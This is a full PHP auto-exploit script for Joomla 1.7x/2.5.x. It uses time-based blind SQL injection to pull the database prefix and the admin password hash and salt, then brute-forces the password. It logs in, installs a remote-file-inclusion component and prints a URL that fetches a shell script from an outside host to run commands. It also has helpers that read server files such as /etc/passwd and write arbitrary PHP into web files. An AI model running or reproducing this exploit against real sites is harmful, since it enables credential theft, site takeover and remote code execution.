<?php
/*

	Joomla! 2.5.x timing exploit
	@AndrewMohawk
	andrew@andrewmohawk.com
	
*/

/* function creates a socket and connects to our target host requesting $url */
function rawRequest($host,$url)
{
	$http_response = '';	
	$fp = fsockopen("$host", 80);
	fputs($fp, "GET $url HTTP/1.0\n");
	fputs($fp, "Host: $host\n\n");
	while (!feof($fp))
	{
		$http_response .= fgets($fp, 128);
	}

	fclose($fp);
}

/* 
	function used to request a local file on the compromised Joomla! install to another location
	eg. "/etc/passwd","/var/www/password_file.html"
*/
function getLocalFile($localFile,$outputFile)
{
	global $targetHost;
	global $targetJoomla404;
	$urlSeg = $targetJoomla404;
	$sql = rawurlencode("'UNION SELECT LOAD_FILE('") . $localFile . rawurlencode("') INTO DUMPFILE '") . $outputFile;
	$urlSeg .= $sql;
	rawRequest($targetHost,$urlSeg);
}

/*
	Function used to write a string to a file, this function will convert the string to ORD for writing
	eg. "<?php echo 'godie.';?>","/var/www/index.php"
*/
function sendStringToFile($string,$outputFile)
{
	global $targetHost;
	global $targetJoomla404;

	$urlSeg = $targetJoomla404;
	$chars = array();
	for($i=0;$i<strlen($string);$i++)
	{
		$chars[] = ord($string[$i]);
	}
	$sqlString = "CHAR(" . implode(",",$chars) . ")";
	$sql = rawurlencode("'UNION SELECT ( SELECT ") . $sqlString . rawurlencode(" INTO DUMPFILE '") . $outputFile . "')'" . '#';
	$urlSeg .= $sql;
	echo $urlSeg;
	rawRequest($targetHost,$urlSeg);
}

/*
	Sends a local file to the compromised system

*/
function sendFile($file,$outputFile)
{
	$contents = file_get_contents($file);
	sendStringToFile($contents,$outputFile);
}

/*
	Main timing request function for the joomla exploit
	just takes in the statement (including the delay) and it
	returns true/false depending on whether the query took longer
	than the allocated $timeAmount
*/
function timeRequest($sqlStatement)
{
	global $targetHost;
	global $targetJoomla404;
	global $timeAmount;
	global $totalRequests;

	$totalRequests++;
	
	$sql = rawurlencode("' UNION ALL $sqlStatement") . '#';
	$urlSeg = $targetJoomla404;
	$urlSeg .= $sql . '#';
	$start = microtime(true);
	rawRequest($targetHost,$urlSeg);
	$end = microtime(true);
	$timeForReq =  $end - $start;
	//echo "it took $timeForReq!\n";
	
	if($timeForReq >= $timeAmount)
	{
		return true;
		
	}
	else
	{
		return false;
	}
}

/*
	function(recursive) does a binary search within a specific statement and times out the request
	options:
	$start - start of ordinal range
	$end - end of ordinal range
	$pos - position we are looking for in the return string
	$userFunction - the function to be called that contains the query including the sleep()'s
*/
function bSearch($start,$end,$pos,$userFunction)
{
	global $totalIterations,$timeStringResult;
	$totalIterations++;
	
	
	if(($end - $start) == 1)
	{
		$middle = floor(($end-$start)/2) + $start;
	}
	else
	{
		$middle = ceil(($end-$start)/2) + $start;
	}
	
	$user_SQL = call_user_func_array($userFunction,array($start,$middle,$pos));
	if($start == $end)
	{
		
		echo "  [-] Found $start (" . chr($start) . ") in $totalIterations iterations...\n";
		$timeStringResult .= chr($start);
		$totalIterations = 0;
		return $start;
	}
	else if(timeRequest($user_SQL))
	{
		bSearch($start,$middle,$pos,$userFunction);
		
	}
	else
	{
		$newStart = $middle + 1;
		bSearch($newStart,$end,$pos,$userFunction);
	}
	
	return false;
}


/* function returns the prefix SQL statement */
function prefixSQL($start,$end,$pos)
{
	global $timeAmount;
	$sqlStatement = "SELECT if((SELECT ORD(SUBSTRING((SUBSTRING_INDEX(table_name,'_',1)),$pos,1)) FROM information_schema.tables WHERE table_schema=database() limit 1) between $start and $end,sleep($timeAmount),null)";
	return $sqlStatement;
}

/* function returns the admin hash statement */
function adminHashSQL($start,$end,$pos)
{
	global $timeAmount,$db_prefix;
	$usersTable = $db_prefix . "_users";
	$sqlStatement = "SELECT if((SELECT ORD(SUBSTRING(password,$pos,1)) FROM $usersTable WHERE username='admin' limit 1) between $start and $end,sleep($timeAmount),null)";
	return $sqlStatement;
	
}
/* function returns the admin salt sql statement */
function adminSeedSQL($start,$end,$pos)
{
	global $timeAmount,$db_prefix;
	$usersTable = $db_prefix . "_users";
	$pos += 33;
	$sqlStatement = "SELECT if((SELECT ORD(SUBSTRING(password,$pos,1)) FROM $usersTable WHERE username='admin' limit 1) between $start and $end,sleep($timeAmount),null)";
	return $sqlStatement;
	
}

function timeString($length,$userFunction)
{
	global $timeAmount;
	global $timeStringResult;
	$timeStringResult = "";
	if($length > 0)
	{
		
		for($i=1;$i<=$length;$i++)
		{
			$lowerSQL = call_user_func_array($userFunction,array(97,122,$i));
			$upperSQL = call_user_func_array($userFunction,array(65,90,$i));
			$numberSQL = call_user_func_array($userFunction,array(48,57,$i));
			
			if(timeRequest($lowerSQL)) //lowercase
			{
				bSearch(97,122,$i,$userFunction);
			}
			else if(timeRequest($upperSQL)) //uppercase
			{
				bSearch(65,90,$i,$userFunction);
			}
			else if(timeRequest($numberSQL)) //numbers
			{
				bSearch(48,57,$i,$userFunction);
			}
			else //various
			{
				echo "Not implemented for non a-z,A-Z,0-9 or the server is inconsistant in replies, recommended using the -t flag to set this to something higher\n";
				die();
			}
		}
		
		$result = $timeStringResult;
		$timeStringResults = "";
		return $result;
	}
	
	
}

/* function to simply brute prefix len */
function getPrefixLength($start=1,$end=10)
{
	global $timeAmount;
	
	for($i=$start;$i<=$end;$i++)
	{
		$sql = "SELECT if((SELECT LENGTH(SUBSTRING_INDEX(table_name,'_',1)) FROM information_schema.tables WHERE table_schema=database() limit 1) = $i,sleep($timeAmount),null) ";
		echo "   [-] Trying $i\n";
		if(timeRequest($sql,$timeAmount))
		{
			//echo "length is $i!\n";
			
			$length = $i;
			return $length;
			break;
		}
		
		
	}
	return false;
}

/* function will time the requests to work out an average time to base te attack on */
function testTimeForReq()
{
	global $targetJoomla404,$targetHost;
	
	$start = microtime(true);
	rawRequest($targetHost,$targetJoomla404);
	$end = microtime(true);
	$diff1 = ($end-$start);
	
	$start = microtime(true);
	rawRequest($targetHost,$targetJoomla404);
	$end = microtime(true);
	$diff2 = ($end-$start);
	
	
	$start = microtime(true);
	rawRequest($targetHost,$targetJoomla404);
	$end = microtime(true);
	$diff3 = ($end-$start);
	
	$diff = ($diff1 + $diff2 + $diff3) / 3;
	return $diff;
}

/* function to test the password vs MD5(pass + salt) */
function testPassword($password)
{
	global $salt,$hash;
	//echo "$password\n";
	if(md5($password . $salt) == $hash)
	{
		echo '   [-] FOUND MATCH, password: '.$password."\r\n";
		return true;
	}
	else
	{
		return false;
	}
}

/* used to get the next 'word' in the password bruteforce section */
function nextWord($currWord)
{
	global $charset, $charset_length;
	if($currWord == '')
		return $charset[0];
	
	$wordLastChar = substr($currWord,-1);
	$wordLeftSide = substr($currWord,0,-1);
	$lastCharPos = strpos($charset,$wordLastChar);
	
	if(($lastCharPos+1) < $charset_length)
	{
		return ($wordLeftSide . $charset[$lastCharPos+1]);
	}
	else
	{
		$wordLastChar = $charset[0];
		$wordLeftSide = nextWord($wordLeftSide);
		return ($wordLeftSide . $wordLastChar);
		
	}
	
}

/* function to crack the password up to a certain length */
function crackPassword($maxLength)
{
	$word = '';
	$wordLength = 0;
	while(testPassword($word) == false)
	{
		$word = nextWord($word);	
		
		if(strlen($word) > $wordLength)
		{
			$wordLength++;
			echo "   [-] Length $wordLength\n";
			if($wordLength > $maxLength)
			{
				echo "Could not crack password - tried up to $maxLength. Please crack seperately\n";
				return false;
			}
		}
	}
	return $word;
}

/* function to install the component in the joomla backend */
function installComponent($password,$f = "./com_rfi.zip")
{
	global $targetAdmin, $totalRequests;
	echo "   [-] Setting up Curl vars..";
	$joomlaAdmin = $targetAdmin;
	$cookieFile = "cookies" . rand(0,9999) . ".txt";
	$ch = curl_init();

	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieFile);
	curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieFile);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_URL, "$joomlaAdmin");
	//curl_setopt($ch, CURLOPT_PROXY, "http://localhost:8080");
	//curl_setopt($ch, CURLOPT_PROXYPORT, 8080);
	
	echo "done.\n";

	echo "   [-] pulling login page..\n";
	$loginPage = curl_exec ($ch);
	$totalRequests++;
	if(strpos($loginPage,'Login') !== false)
	{
		

		preg_match_all('/<input type=".*?" name="(.*?)" value="(.*?)" \/>/', $loginPage, $inputVars);
		$varString = array();
		foreach($inputVars[1] as $k=>$v)
		{
			$varString[$v] = $inputVars[2][$k];
		}
		$varString["username"] = "admin";
		$varString["passwd"] = $password;
		
		echo "   [-] logging in...";
		
		curl_setopt($ch, CURLOPT_URL, "$joomlaAdmin/index.php");
		curl_setopt ($ch, CURLOPT_POST, 1);
		curl_setopt ($ch, CURLOPT_POSTFIELDS, $varString);

		$login = curl_exec ($ch);
		$totalRequests++;
		echo "done.\n";
		
		//die();
	}
	else
	{
		echo "   [-] Already have valid credentials\n";
	}


	echo "   [-] Browsing to admin page...";
	curl_setopt($ch, CURLOPT_URL, "$joomlaAdmin/index.php");
	curl_setopt ($ch, CURLOPT_POST, 0);

	$adminPage = curl_exec ($ch);
	$totalRequests++;
	if(strpos($adminPage,"Login") !== false)
	{
		echo "credentials FAILED.\n";
		return false;
	}
	echo "done.\n";

	echo "   [-] Browsing to installer page... $joomlaAdmin/index.php?option=com_installer...";
	curl_setopt($ch, CURLOPT_URL, "$joomlaAdmin/index.php?option=com_installer");
	$uploadPage = curl_exec ($ch);
	$totalRequests++;
	echo "done.\n";

	echo "   [-] Installing component...";

	$dom = new DOMDocument();
	$dom->loadHTML($uploadPage);

	$xpath = new DOMXPath($dom);

	$tags = $xpath->query('//input');
	$postAr = array();
	foreach ($tags as $tag) 
	{
		$name = (string)$tag->getAttribute('name');
		$val = (string)$tag->getAttribute('value');
		if(!empty($name) && !empty($val))
		{
			$postAr[$name] = $val;
		}
	}
	$postAr["install_package"]="@" . getcwd() . "/com_rfi.zip";
	curl_setopt($ch, CURLOPT_URL, "$joomlaAdmin/index.php?option=com_installer&view=install");
	curl_setopt($ch, CURLOPT_POST, true);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $postAr); 
	$response = curl_exec($ch);
	$totalRequests++;

	echo "done. \n";

	echo "   [-] Verifying component install...";
	curl_setopt($ch, CURLOPT_URL, "$joomlaAdmin/index.php?option=com_installer&view=install");
	curl_setopt ($ch, CURLOPT_POST, 0);
	$verifyInstallPage = curl_exec ($ch);
	$totalRequests++;
	if(strpos($verifyInstallPage,"was successful") !== false)
	{
		echo "installed!\n";
		return true;
	}
	else
	{
		echo "install FAILED!\n";
		
		return false;
	}


	curl_close ($ch);

}

echo "[-------------------------------------------------------------------------]\n";
echo "[                     Joomla 2.x,1.7x Auto-Exploit                        ]\n";
echo "[                      Blind SQLi vs Redirect.php                         ]\n";
echo "[                     http://www.andrewmohawk.com/                        ]\n";
echo "[                          @andrewmohawk                                  ]\n";
echo "[                                                                         ]\n";
echo "[-------------------------------------------------------------------------]\n\n";

//various options
$exploitOptions = array(
  "u" => "URL for the vulnerable Joomla install, should be directly to the base, ie http://coolsite.com/joomla/ including trailing slash",
  "t" => "time to be added between the default request and the timed request default is 2",
  "n" => "don't determine average time for normal request, use this value - good for sites with inconsistant times",
  "l" => "Database prefix LENGTH (if already known - probably 5 in mosts tests)",
  "p" => "Database prefix if already known",
  "h" => "Admin hash if already known",
  "s" => "Admin Salt if already known",
  "c" => "Ask user for cracked password - for using external application",
  "d" => "Charset difficult for cracking password,\n\t\t1 = a-z,\n\t\t2 = a-z,A-Z\n\t\t3 = a-z,A-Z,0-9\n\t\t4 = a-z,A-Z,0-9,~`!@#$%^&*()-_\/\'\";:,.+=<>?",
  "m" => "Zip of module/component to install -- otherwises uses com_rfi",
  "a" => "specifies the admin password if known"
);

//Setting default values
$t = 2;
$c = 0;
$d = 1;


$cmdArgString = "";
foreach($exploitOptions as $key=>$eo)
{
  $cmdArgString .= "$key:";
}

$cmdArguments = getopt($cmdArgString);

$cmdErrors = array();

if(!isset($cmdArguments["u"]))
{
  $cmdErrors[] = "Please specify a URL to target";
}
else
{
  $u = $cmdArguments["u"];
}


if(isset($cmdArguments["l"]))
{
  if(!is_numeric($cmdArguments["l"]))
  {
    $cmdErrors[] = "Please specify the database prefix length as a numeric value, eg. 5";
  }
  else
  {
    $l = $cmdArguments["l"];
  }
}

if(isset($cmdArguments["p"]))
  $p = $cmdArguments["p"];

if(isset($cmdArguments["c"]))
  $c = 1;

if(isset($cmdArguments["a"]))
  $a = $cmdArguments["a"];

if(isset($cmdArguments["n"]))
{
  if(!is_numeric($cmdArguments["n"]))
  {
    $cmdErrors[] = "Please specify the site response time as a numeric value, eg. 10";
  }
  else
  {
    $n = $cmdArguments["n"];
  }
}


if(isset($cmdArguments["h"]))
{
  if(strlen($cmdArguments["h"]) != 32)
  {
    $cmdErrors[] = "Admin hashes need to be 32 characters in length";
  }
  else
  {
    $h = $cmdArguments["h"];
  }
}

if(isset($cmdArguments["s"]))
{
  if(strlen($cmdArguments["s"]) != 32)
  {
    $cmdErrors[] = "Admin salts need to be 32 characters in length";
  }
  else
  {
    $s = $cmdArguments["s"];
  }
}


if(isset($cmdArguments["d"]))
{
  if(!is_numeric($cmdArguments["d"]))
  {
    $cmdErrors[] = "Please specify charset as numeric value between 1 and 4";
  }
  else if($cmdArguments["d"] <0 || $cmdArguments["d"] > 4)
  {
    $cmdErrors[] = "Please specify charset as numeric value between 1 and 4";
  }
  else
  {
    $d = $cmdArguments["d"];
  }
}

if(isset($cmdArguments["m"]))
{
  if(!file_exists($cmdArguments["m"]))
  {
    $cmdErrors[] = "Specified file for module/component cannot be found";
  }
  else
  {
    $m = $cmdArguments["m"];
  }
}


if(isset($cmdArguments["t"]))
{
  
  if(!is_numeric($cmdArguments["t"]))
  {
    $cmdErrors[] = "Please specify 't' as an integer - eg. 3";
  }
  else
  {
    $t = $cmdArguments["t"]; 
  }
}



if(count($cmdErrors) > 0 )
{

  echo "Errors:\n";
  foreach($cmdErrors as $e)
  {
    echo "\t- $e\n";
  }

  echo "\nOptions:\n\n";
  foreach($exploitOptions as $key=>$eo)
  {
    echo "\t$key - $eo\n";
  }
  
  echo "\nExamples:\n\n";
  echo "php exploit.php -u=http://www.coolsite.com/joomla/\n";
  echo "php exploit.php -u=http://www.coolsite.com/joomla/ -t=10 -l=5 -p=syD1l -h=fd2fe10226550a274348fd0d21e046bc -s=7ZAzi6HYBUMWvwweEyTZJiKP8G0rbqLc -d=1 -m=/tmp/dodgyjoomlacom.zip\n\n\n";
  
  die();
}



/* Global vars */

$url_parsed = parse_url($u);
if($url_parsed == false)
{
  print "Could not parse URL.";
  die();
}
$targetHost = $url_parsed["host"];
$targetJoomla = $url_parsed["path"];
$targetAdmin = $u . "administrator/";
$targetJoomla404 = $targetJoomla . "index.php/404_" . rand(0,999);

$totalIterations = 0;
$totalRequests = 0;

$timeStringResult = "";

if($d == 1)
  $charset = 'abcdefghijklmnopqrstuvwxyz';
if($d == 2)
  $charset .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
if($d == 3)
  $charset .= '0123456789';
if($d == 4)
  $charset .= '~`!@#$%^&*()-_\/\'";:,.+=<>? ';

$charset_length = strlen($charset);
$passLength = 6	;







echo "[+] Starting " . date("Y-m-d h:i:s") . "\n";
if(!isset($a))
{
$timeAmount = -1;
if(isset($n))
{
  $timeAmount = $n + $t;
  echo "[+] Using timing of $timeAmount seconds for requests...\n";
}
else
{
  
  echo "[+] Checking default time for requests..";
  $timeForReq =  testTimeForReq();
  $timeAmount = round($timeForReq) + $t;
  echo " $timeForReq seconds\n";
  echo "[+] Setting timing attacks to $timeAmount seconds\n" ;
}



if(isset($l))
{
  $prefixLen = $l;
  echo "[+] Prefix length set to $l...\n";
}
else
{
  
  echo "[+] Determining length of prefix..\n";
  $prefixLen = getPrefixLength();
  if($prefixLen == false)
  {
    echo "   [-] Could not get prefix length, please verify this is a J!2.51 install..\n";
    die();
  }
  else
  {
    echo "   [-] Found prefix length as $prefixLen \n";
  }
}

if(isset($p))
{
  $db_prefix = $p;
  echo "[+] Database prefix given as $db_prefix\n";
}
else
{
  echo "[+] Timing out database prefix..\n";
  $db_prefix = timeString($prefixLen,'prefixSQL');
  echo "[+] Found database prefix as '$db_prefix'\n";
}

if(isset($h))
{
  $hash = $h;
  echo "[+] Admin hash given as '$hash' .. skipping timing\n";
}
else
{
  echo "[+] Timing out admin hash..\n";
  $hash = timeString(32,'adminHashSQL');
  echo "[+] Admin hash: '$hash'\n";
  
}

if(isset($s))
{
  $salt = $s;
  echo "[+] Admin salt given as '$salt' .. skipping timing\n";
}
else
{
echo "[+] Timing out admin salt.. \n";
$salt = timeString(32,'adminSeedSQL'); 
echo "[+] Admin salt: '$salt'\n";
}


if($c == 1)
{
  fwrite(STDOUT, "[+] Password for '$hash:$salt':\n ");
  $pass = trim(fgets(STDIN));
}
else
{
  echo "[+] Now cracking password to length $passLength..\n";
  $pass = crackPassword($passLength);
}


echo "[+] Pass found as '$pass'\n";
}
if(isset($a))
  $pass = $a;
echo "[+] Password given as '$pass'\n";

echo "[+] Installing Component...\n";
if(isset($m))
{
  if(installComponent($pass,$m))
  {
	  echo "[+] RFI installed.. please visit the following to get a webshell:\n";
	  echo "[+]   http://$targetHost$targetJoomla/index.php?option=com_rfi&url=http://www.andrewmohawk.com/execShellSimple.txt&c=whoami" ;
  }
}
else
{
  if(installComponent($pass))
  {
	  echo "[+] RFI installed.. please visit the following to get a webshell:\n";
	  echo "[+]   http://$targetHost$targetJoomla/index.php?option=com_rfi&url=http://www.andrewmohawk.com/execShellSimple.txt&c=whoami\n\n" ;
  }

}

echo "[+] Total Requests made: $totalRequests\n";
echo "[+] Ended:" . date("Y-m-d h:i:s") . "\n";


?>

